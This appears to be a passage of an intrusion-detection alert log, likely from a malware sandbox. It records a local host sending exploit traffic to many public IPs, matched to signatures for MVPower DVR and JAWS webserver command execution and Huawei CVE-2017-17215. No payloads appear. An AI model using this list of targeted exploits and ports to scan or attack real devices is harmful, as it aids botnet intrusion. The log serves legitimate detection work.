Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.98.9

Timestamp:	192.168.2.23156.235.98.939512372152835222 01/02/24-06:24:15.985357
SID:	2835222
Source Port:	39512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.31.77.178

Timestamp:	192.168.2.2352.31.77.17848046802025883 01/02/24-06:25:05.043017
SID:	2025883
Source Port:	48046
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.242.70.143

Timestamp:	192.168.2.2334.242.70.14342204802025883 01/02/24-06:24:43.208181
SID:	2025883
Source Port:	42204
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.52.181.61

Timestamp:	192.168.2.23157.52.181.6140930802030092 01/02/24-06:25:29.722171
SID:	2030092
Source Port:	40930
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 160.121.60.205

Timestamp:	192.168.2.23160.121.60.20546956802025883 01/02/24-06:23:51.701184
SID:	2025883
Source Port:	46956
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 158.94.0.206

Timestamp:	192.168.2.23158.94.0.20659592802025883 01/02/24-06:24:09.082311
SID:	2025883
Source Port:	59592
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.139.66.249

Timestamp:	192.168.2.2318.139.66.24949188802025883 01/02/24-06:24:49.080776
SID:	2025883
Source Port:	49188
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.66.27.182

Timestamp:	192.168.2.2318.66.27.18250544802030092 01/02/24-06:24:59.193137
SID:	2030092
Source Port:	50544
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.126.113.76

Timestamp:	192.168.2.2334.126.113.7654070802025883 01/02/24-06:25:15.540979
SID:	2025883
Source Port:	54070
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 212.8.247.70

Timestamp:	192.168.2.23212.8.247.7039420802025883 01/02/24-06:24:59.257113
SID:	2025883
Source Port:	39420
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.172.204.124

Timestamp:	192.168.2.2318.172.204.12456566802025883 01/02/24-06:24:59.388502
SID:	2025883
Source Port:	56566
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.196.15.131

Timestamp:	192.168.2.2352.196.15.13145438802030092 01/02/24-06:25:02.277841
SID:	2030092
Source Port:	45438
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.170.84.98

Timestamp:	192.168.2.23203.170.84.9841608802030092 01/02/24-06:24:05.853329
SID:	2030092
Source Port:	41608
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 217.160.215.205

Timestamp:	192.168.2.23217.160.215.20551516802025883 01/02/24-06:24:23.994544
SID:	2025883
Source Port:	51516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 145.236.36.128

Timestamp:	192.168.2.23145.236.36.12840926802030092 01/02/24-06:24:59.212800
SID:	2030092
Source Port:	40926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.244.41.147

Timestamp:	192.168.2.2362.244.41.14754538802030092 01/02/24-06:25:25.284302
SID:	2030092
Source Port:	54538
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.6.180.184

Timestamp:	192.168.2.2338.6.180.18441692802025883 01/02/24-06:25:01.064194
SID:	2025883
Source Port:	41692
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.3.111.161

Timestamp:	192.168.2.2323.3.111.16147366802025883 01/02/24-06:25:43.020357
SID:	2025883
Source Port:	47366
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 77.246.183.30

Timestamp:	192.168.2.2377.246.183.3046272802025883 01/02/24-06:24:55.948920
SID:	2025883
Source Port:	46272
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 212.109.194.43

Timestamp:	192.168.2.23212.109.194.4333828802025883 01/02/24-06:24:23.748097
SID:	2025883
Source Port:	33828
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 107.172.87.207

Timestamp:	192.168.2.23107.172.87.20751544802025883 01/02/24-06:24:55.853118
SID:	2025883
Source Port:	51544
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 139.59.72.230

Timestamp:	192.168.2.23139.59.72.23049116802030092 01/02/24-06:25:11.932825
SID:	2030092
Source Port:	49116
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.181.35.219

Timestamp:	192.168.2.2338.181.35.21934372802030092 01/02/24-06:24:01.259878
SID:	2030092
Source Port:	34372
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.192.122.65

Timestamp:	192.168.2.2343.192.122.6537836802030092 01/02/24-06:25:44.376815
SID:	2030092
Source Port:	37836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.220.62.145

Timestamp:	192.168.2.2361.220.62.14550398802030092 01/02/24-06:24:33.218083
SID:	2030092
Source Port:	50398
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 124.160.184.254

Timestamp:	192.168.2.23124.160.184.25432982802025883 01/02/24-06:24:49.075744
SID:	2025883
Source Port:	32982
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.173.142.99

Timestamp:	192.168.2.2338.173.142.9934518802030092 01/02/24-06:24:45.911157
SID:	2030092
Source Port:	34518
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 186.88.83.194

Timestamp:	192.168.2.23186.88.83.19454168802025883 01/02/24-06:25:15.957336
SID:	2025883
Source Port:	54168
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 101.42.248.240

Timestamp:	192.168.2.23101.42.248.24039924802030092 01/02/24-06:24:43.377309
SID:	2030092
Source Port:	39924
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.216.109.8

Timestamp:	192.168.2.2334.216.109.859862802025883 01/02/24-06:24:27.341329
SID:	2025883
Source Port:	59862
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 102.130.122.217

Timestamp:	192.168.2.23102.130.122.21740696802030092 01/02/24-06:24:58.885496
SID:	2030092
Source Port:	40696
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.57.78.174

Timestamp:	192.168.2.2323.57.78.17447542802025883 01/02/24-06:25:36.406858
SID:	2025883
Source Port:	47542
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.230.152.225

Timestamp:	192.168.2.23104.230.152.22549976802025883 01/02/24-06:24:24.820851
SID:	2025883
Source Port:	49976
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 166.161.129.17

Timestamp:	192.168.2.23166.161.129.1740674802025883 01/02/24-06:24:44.925325
SID:	2025883
Source Port:	40674
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 75.187.170.240

Timestamp:	192.168.2.2375.187.170.24035348802030092 01/02/24-06:24:30.620216
SID:	2030092
Source Port:	35348
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 50.212.190.97

Timestamp:	192.168.2.2350.212.190.9749434802025883 01/02/24-06:25:07.021195
SID:	2025883
Source Port:	49434
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.12.30.83

Timestamp:	192.168.2.23154.12.30.8341074802025883 01/02/24-06:25:38.407130
SID:	2025883
Source Port:	41074
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.36.6

Timestamp:	192.168.2.23156.253.36.648376372152829579 01/02/24-06:24:16.442516
SID:	2829579
Source Port:	48376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 4.152.153.164

Timestamp:	192.168.2.234.152.153.16453294802030092 01/02/24-06:23:55.535212
SID:	2030092
Source Port:	53294
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.20.206.69

Timestamp:	192.168.2.232.20.206.6947260802030092 01/02/24-06:25:06.855559
SID:	2030092
Source Port:	47260
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 69.192.43.58

Timestamp:	192.168.2.2369.192.43.5855492802025883 01/02/24-06:25:21.993012
SID:	2025883
Source Port:	55492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.75.54

Timestamp:	192.168.2.23156.254.75.5454612372152829579 01/02/24-06:25:31.710967
SID:	2829579
Source Port:	54612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 99.16.143.128

Timestamp:	192.168.2.2399.16.143.12833176802025883 01/02/24-06:24:14.071830
SID:	2025883
Source Port:	33176
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.135.156.6

Timestamp:	192.168.2.235.135.156.633424802030092 01/02/24-06:25:30.155873
SID:	2030092
Source Port:	33424
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.221.227.124

Timestamp:	192.168.2.2385.221.227.12437694802030092 01/02/24-06:24:18.042374
SID:	2030092
Source Port:	37694
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 167.172.137.111

Timestamp:	192.168.2.23167.172.137.11148674802025883 01/02/24-06:23:49.370306
SID:	2025883
Source Port:	48674
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.214.96.70

Timestamp:	192.168.2.23154.214.96.7060798802030092 01/02/24-06:24:05.858026
SID:	2030092
Source Port:	60798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 24.90.220.124

Timestamp:	192.168.2.2324.90.220.12451082802030092 01/02/24-06:25:34.883177
SID:	2030092
Source Port:	51082
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 46.4.102.252

Timestamp:	192.168.2.2346.4.102.25247674802025883 01/02/24-06:25:43.105983
SID:	2025883
Source Port:	47674
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.204.125.106

Timestamp:	192.168.2.2323.204.125.10656392802025883 01/02/24-06:24:13.920039
SID:	2025883
Source Port:	56392
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 173.234.100.230

Timestamp:	192.168.2.23173.234.100.23044204802025883 01/02/24-06:24:40.616364
SID:	2025883
Source Port:	44204
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.18.81.66

Timestamp:	192.168.2.23185.18.81.6639906802025883 01/02/24-06:25:01.307707
SID:	2025883
Source Port:	39906
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 118.232.97.51

Timestamp:	192.168.2.23118.232.97.5137750802025883 01/02/24-06:24:56.010020
SID:	2025883
Source Port:	37750
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 8.134.23.43

Timestamp:	192.168.2.238.134.23.4358860802025883 01/02/24-06:24:27.781954
SID:	2025883
Source Port:	58860
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 213.136.91.17

Timestamp:	192.168.2.23213.136.91.1739410802025883 01/02/24-06:24:04.299968
SID:	2025883
Source Port:	39410
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 164.132.227.171

Timestamp:	192.168.2.23164.132.227.17152970802025883 01/02/24-06:25:19.078205
SID:	2025883
Source Port:	52970
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 110.161.237.57

Timestamp:	192.168.2.23110.161.237.5746168802030092 01/02/24-06:25:25.756167
SID:	2030092
Source Port:	46168
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.164.18.33

Timestamp:	192.168.2.2318.164.18.3348318802030092 01/02/24-06:25:38.054989
SID:	2030092
Source Port:	48318
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 35.209.88.190

Timestamp:	192.168.2.2335.209.88.19054520802025883 01/02/24-06:24:45.913931
SID:	2025883
Source Port:	54520
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 59.49.86.225

Timestamp:	192.168.2.2359.49.86.22544734802025883 01/02/24-06:24:27.489026
SID:	2025883
Source Port:	44734
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 103.131.18.243

Timestamp:	192.168.2.23103.131.18.24355884802025883 01/02/24-06:25:21.511351
SID:	2025883
Source Port:	55884
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.186.216.181

Timestamp:	192.168.2.23108.186.216.18145040802030092 01/02/24-06:23:51.959819
SID:	2030092
Source Port:	45040
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 50.87.38.17

Timestamp:	192.168.2.2350.87.38.1737480802025883 01/02/24-06:24:23.653878
SID:	2025883
Source Port:	37480
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.86.91.90

Timestamp:	192.168.2.23104.86.91.9035656802030092 01/02/24-06:24:50.099510
SID:	2030092
Source Port:	35656
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 85.215.117.24

Timestamp:	192.168.2.2385.215.117.2442578802025883 01/02/24-06:24:01.338021
SID:	2025883
Source Port:	42578
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 89.212.109.240

Timestamp:	192.168.2.2389.212.109.24042828802025883 01/02/24-06:24:42.987046
SID:	2025883
Source Port:	42828
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 152.200.138.81

Timestamp:	192.168.2.23152.200.138.8146794802030092 01/02/24-06:24:51.767454
SID:	2030092
Source Port:	46794
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 144.126.206.157

Timestamp:	192.168.2.23144.126.206.15750982802030092 01/02/24-06:24:28.177953
SID:	2030092
Source Port:	50982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 27.54.141.224

Timestamp:	192.168.2.2327.54.141.22460562802025883 01/02/24-06:24:30.783293
SID:	2025883
Source Port:	60562
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.255.91.120

Timestamp:	192.168.2.2351.255.91.12053876802030092 01/02/24-06:25:02.258701
SID:	2030092
Source Port:	53876
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.158.129.156

Timestamp:	192.168.2.23108.158.129.15660976802030092 01/02/24-06:24:55.937734
SID:	2030092
Source Port:	60976
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.151.128.17

Timestamp:	192.168.2.2359.151.128.1748314802030092 01/02/24-06:24:46.386584
SID:	2030092
Source Port:	48314
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 74.39.214.23

Timestamp:	192.168.2.2374.39.214.2346062802030092 01/02/24-06:25:15.627181
SID:	2030092
Source Port:	46062
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 57.180.62.68

Timestamp:	192.168.2.2357.180.62.6834572802025883 01/02/24-06:24:44.984670
SID:	2025883
Source Port:	34572
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.75.21.178

Timestamp:	192.168.2.2351.75.21.17840480802030092 01/02/24-06:25:02.016731
SID:	2030092
Source Port:	40480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 8.217.69.180

Timestamp:	192.168.2.238.217.69.18058726802030092 01/02/24-06:24:01.420268
SID:	2030092
Source Port:	58726
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 86.107.30.115

Timestamp:	192.168.2.2386.107.30.11541714802025883 01/02/24-06:25:35.089932
SID:	2025883
Source Port:	41714
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.194.11.191

Timestamp:	192.168.2.2391.194.11.19152908802030092 01/02/24-06:24:17.758398
SID:	2030092
Source Port:	52908
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.204.118.161

Timestamp:	192.168.2.23154.204.118.16159748802025883 01/02/24-06:24:50.106168
SID:	2025883
Source Port:	59748
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 94.152.11.208

Timestamp:	192.168.2.2394.152.11.20858652802030092 01/02/24-06:25:38.297923
SID:	2030092
Source Port:	58652
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.52.177.100

Timestamp:	192.168.2.2313.52.177.10058232802025883 01/02/24-06:24:00.958032
SID:	2025883
Source Port:	58232
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 206.233.253.224

Timestamp:	192.168.2.23206.233.253.22452608802030092 01/02/24-06:24:09.052927
SID:	2030092
Source Port:	52608
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.209.26.229

Timestamp:	192.168.2.2323.209.26.22960854802030092 01/02/24-06:24:32.802584
SID:	2030092
Source Port:	60854
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 207.91.250.53

Timestamp:	192.168.2.23207.91.250.5347036802025883 01/02/24-06:24:05.701901
SID:	2025883
Source Port:	47036
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.210.122.206

Timestamp:	192.168.2.23195.210.122.20639926802030092 01/02/24-06:25:42.425489
SID:	2030092
Source Port:	39926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.116.58.162

Timestamp:	192.168.2.2389.116.58.16258488802030092 01/02/24-06:24:18.153621
SID:	2030092
Source Port:	58488
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.55.6.58

Timestamp:	192.168.2.2338.55.6.5853198802030092 01/02/24-06:25:09.906087
SID:	2030092
Source Port:	53198
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.124.143.188

Timestamp:	192.168.2.23185.124.143.18839152802030092 01/02/24-06:23:52.102637
SID:	2030092
Source Port:	39152
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.88.138.19

Timestamp:	192.168.2.2334.88.138.1944478802025883 01/02/24-06:25:30.159443
SID:	2025883
Source Port:	44478
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 107.167.54.157

Timestamp:	192.168.2.23107.167.54.15750366802025883 01/02/24-06:25:31.230783
SID:	2025883
Source Port:	50366
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.36.115.249

Timestamp:	192.168.2.23121.36.115.24947442802030092 01/02/24-06:23:55.420371
SID:	2030092
Source Port:	47442
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.17.132.47

Timestamp:	192.168.2.2351.17.132.4749620802030092 01/02/24-06:24:34.942338
SID:	2030092
Source Port:	49620
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 155.159.137.8

Timestamp:	192.168.2.23155.159.137.860496802030092 01/02/24-06:24:33.306234
SID:	2030092
Source Port:	60496
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 209.97.134.86

Timestamp:	192.168.2.23209.97.134.8644200802030092 01/02/24-06:24:43.211070
SID:	2030092
Source Port:	44200
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.126.59.113

Timestamp:	192.168.2.23146.126.59.11357290802030092 01/02/24-06:24:34.936317
SID:	2030092
Source Port:	57290
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 68.233.96.132

Timestamp:	192.168.2.2368.233.96.13258694802030092 01/02/24-06:25:19.392967
SID:	2030092
Source Port:	58694
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 176.119.158.219

Timestamp:	192.168.2.23176.119.158.21950988802030092 01/02/24-06:24:35.189037
SID:	2030092
Source Port:	50988
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 91.146.142.151

Timestamp:	192.168.2.2391.146.142.15155428802025883 01/02/24-06:24:27.710944
SID:	2025883
